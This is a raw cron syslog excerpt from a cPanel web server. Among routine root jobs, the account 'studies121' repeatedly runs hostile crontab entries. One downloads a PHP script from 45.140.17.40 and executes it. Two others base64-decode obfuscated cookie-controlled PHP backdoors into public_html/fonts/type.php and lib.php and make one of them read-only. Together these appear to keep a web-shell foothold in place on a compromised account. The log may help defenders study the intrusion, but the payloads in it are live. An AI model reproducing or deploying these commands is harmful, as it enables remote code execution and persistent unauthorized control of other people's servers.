Sep  7 19:20:01 ip-184-168-122-23 CROND[5765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:20:01 ip-184-168-122-23 CROND[5768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:20:01 ip-184-168-122-23 CROND[5773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:20:01 ip-184-168-122-23 CROND[5771]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 19:20:01 ip-184-168-122-23 CROND[5775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:20:01 ip-184-168-122-23 CROND[5777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:20:01 ip-184-168-122-23 CROND[5772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:20:01 ip-184-168-122-23 CROND[5776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:20:01 ip-184-168-122-23 CROND[5778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:21:01 ip-184-168-122-23 CROND[5881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:21:01 ip-184-168-122-23 CROND[5882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:21:01 ip-184-168-122-23 CROND[5884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:21:01 ip-184-168-122-23 CROND[5886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:22:02 ip-184-168-122-23 CROND[5971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:22:02 ip-184-168-122-23 CROND[5974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:22:02 ip-184-168-122-23 CROND[5975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:22:02 ip-184-168-122-23 CROND[5972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:22:02 ip-184-168-122-23 CROND[5973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:23:01 ip-184-168-122-23 CROND[6068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:23:01 ip-184-168-122-23 CROND[6070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:23:01 ip-184-168-122-23 CROND[6071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:23:01 ip-184-168-122-23 CROND[6069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:24:01 ip-184-168-122-23 CROND[6176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:24:01 ip-184-168-122-23 CROND[6178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:24:01 ip-184-168-122-23 CROND[6179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:24:01 ip-184-168-122-23 CROND[6177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:24:01 ip-184-168-122-23 CROND[6180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:25:01 ip-184-168-122-23 CROND[6278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:25:01 ip-184-168-122-23 CROND[6283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:25:01 ip-184-168-122-23 CROND[6280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:25:01 ip-184-168-122-23 CROND[6281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:25:01 ip-184-168-122-23 CROND[6282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:25:01 ip-184-168-122-23 CROND[6284]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:26:01 ip-184-168-122-23 CROND[6463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:26:01 ip-184-168-122-23 CROND[6466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:26:01 ip-184-168-122-23 CROND[6465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:26:01 ip-184-168-122-23 CROND[6464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:26:01 ip-184-168-122-23 CROND[6467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:27:01 ip-184-168-122-23 CROND[6563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:27:01 ip-184-168-122-23 CROND[6564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:27:01 ip-184-168-122-23 CROND[6565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:27:01 ip-184-168-122-23 CROND[6566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:28:01 ip-184-168-122-23 CROND[6643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:28:01 ip-184-168-122-23 CROND[6644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:28:01 ip-184-168-122-23 CROND[6646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:28:01 ip-184-168-122-23 CROND[6645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:28:01 ip-184-168-122-23 CROND[6647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:29:01 ip-184-168-122-23 CROND[6740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:29:01 ip-184-168-122-23 CROND[6742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:29:01 ip-184-168-122-23 CROND[6745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:29:01 ip-184-168-122-23 CROND[6743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:30:01 ip-184-168-122-23 CROND[6840]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:30:01 ip-184-168-122-23 CROND[6843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:30:01 ip-184-168-122-23 CROND[6845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:30:01 ip-184-168-122-23 CROND[6848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:30:01 ip-184-168-122-23 CROND[6847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:30:01 ip-184-168-122-23 CROND[6846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:30:01 ip-184-168-122-23 CROND[6851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:30:01 ip-184-168-122-23 CROND[6850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:31:01 ip-184-168-122-23 CROND[6944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:31:01 ip-184-168-122-23 CROND[6945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:31:01 ip-184-168-122-23 CROND[6947]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 19:31:01 ip-184-168-122-23 CROND[6946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:31:01 ip-184-168-122-23 CROND[6948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:32:01 ip-184-168-122-23 CROND[7055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:32:01 ip-184-168-122-23 CROND[7057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
